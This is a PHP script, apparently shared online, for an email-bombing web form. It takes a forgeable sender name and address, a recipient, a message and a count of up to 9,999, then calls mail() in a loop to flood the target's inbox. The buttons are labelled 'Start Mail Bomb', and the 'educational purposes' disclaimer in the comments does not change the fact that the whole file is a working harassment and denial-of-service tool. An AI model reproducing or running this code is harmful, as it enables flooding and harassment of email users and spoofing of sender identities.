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<?php
 
// Note this script is for educational purposes
// ONLY. SO does not condone email bombing.
 
// Yet again I found a script that was coded
// very poorly, so I took the liberty of writing
// a script with the same basic idea, while
// also making it have very clean coding, as
// well as proper input checking - Qwexotic
 
// Remember, you must add in any filtration
// functions yourself, such as the famous
// mysql_real_escape_string(); or even
// htmlentities(); or a custom function...
 
$f_name = isset($_POST['f_name']) ? $_POST['f_name'] : "";
$f_email = isset($_POST['f_email']) ? $_POST['f_email'] : "";
 
$r_email = isset($_POST['r_email']) ? $_POST['r_email'] : "";
 
$subject = isset($_POST['subject']) ? $_POST['subject'] : "";
$message = isset($_POST['message']) ? $_POST['message'] : "";
 
$number = isset($_POST['number']) ? preg_replace('/\..*/', '', $_POST['number']) : "";
 
$header = "From: ".$f_name." <".$f_email.">\n";
$header .= "Reply-To: ".$f_email."\n";
 
echo "<center>\n";
 
if ($f_name != "" || $f_email != "" || $r_email != "" || $subject != "" || $message != "" || $number != "") {
        $errors = "";
 
        if (strlen($f_name) > 40) {
                $errors .= "Your name must be 40 characters or less.<br />\n";
        }
 
        if ($f_email == "") {
                $errors .= "You must enter a sender email address.<br />\n";
        } else {
                if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $f_email)) {
                        $errors .= "You must enter a valid sender email address.<br />\n";
                }
        }
 
        if (strlen($f_email) > 60) {
                $errors .= "Your email must be 60 characters or less.<br />\n";
        }
 
        if ($r_email == "") {
                $errors .= "You must enter a recipient email address.<br />\n";
        } else {
                if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $r_email)) {
                        $errors .= "You must enter a valid recipient email address.<br />\n";
                }
        }
 
        if (strlen($r_email) > 60) {
                $errors .= "The recipient email must be 60 characters or less.<br />\n";
        }
 
        if (strlen($subject) > 40) {
                $errors .= "The subject must be 40 characters or less.<br />\n";
        }
 
        if ($message == "") {
                $errors .= "You must enter a message to send.<br />\n";
        }
 
        if ($number == "") {
                $errors .= "You must enter a number of messages to send.<br />\n";
        } else {
                if ($number < 2) {
                        $errors .= "You must enter a number greater than 1.<br />\n";
                } elseif ($number > 9999) {
                        $errors .= "You must enter a number less than 10000.<br />\n";
                }
        }
 
        if ($errors == "") {
                if ($subject == "") {
                        for($i=1; $i <= $number; $i++){
                                mail($r_email, substr(md5(rand(1, 100)), 0, 5), $message, $header);
                        }
                } else {
                        for($i=1; $i <= $number; $i++){
                                mail($r_email, $subject, $message, $header);
                        }
                }
 
                echo $number." messages have been sent to ".$r_email." successfully.<br />\n<a href='nojavascript...history.go(-1);' title='Start Another Mail Bomb'>Start Another Mail Bomb</a><br />\n";
        } else {
                echo "<span style='color: red;'>n".$errors."</span>\n<a href='nojavascript...history.go(-1);' title='Try Again'>Please Try Again</a><br />\n";
        }
} else {
        echo "* Denotes a required field.<br /><br />nNote that leaving a subject blank<br />nwill generate a random subject<br />nfor every new message.<br /><br />\n";
        echo "<table cellspacing='2' cellpadding='2'>\n";
        echo "<form action='' method='post'>\n";
        echo "<tr>\n";
        echo "<td>Your Name:</td>\n";
        echo "<td><input type='text' name='f_name' size='50' maxlength='40' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Your Email: *</td>\n";
        echo "<td><input type='text' name='f_email' size='50' maxlength='60' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Recipient Email: *</td>\n";
        echo "<td><input type='text' name='r_email' size='50' maxlength='60' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Subject:</td>\n";
        echo "<td><input type='text' name='subject' size='50' maxlength='40' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Message: *</td>\n";
        echo "<td><textarea name='message' rows='5' cols='50'></textarea></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Number Of Messages: *</td>\n";
        echo "<td><input type='text' name='number' size='4' maxlength='4' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td></td>\n";
        echo "<td><input type='submit' value='Start Mail Bomb' /></td>\n";
        echo "</tr>\n";
        echo "</form>\n";
        echo "</table>\n";
}
 
echo "</center>\n";
 
?>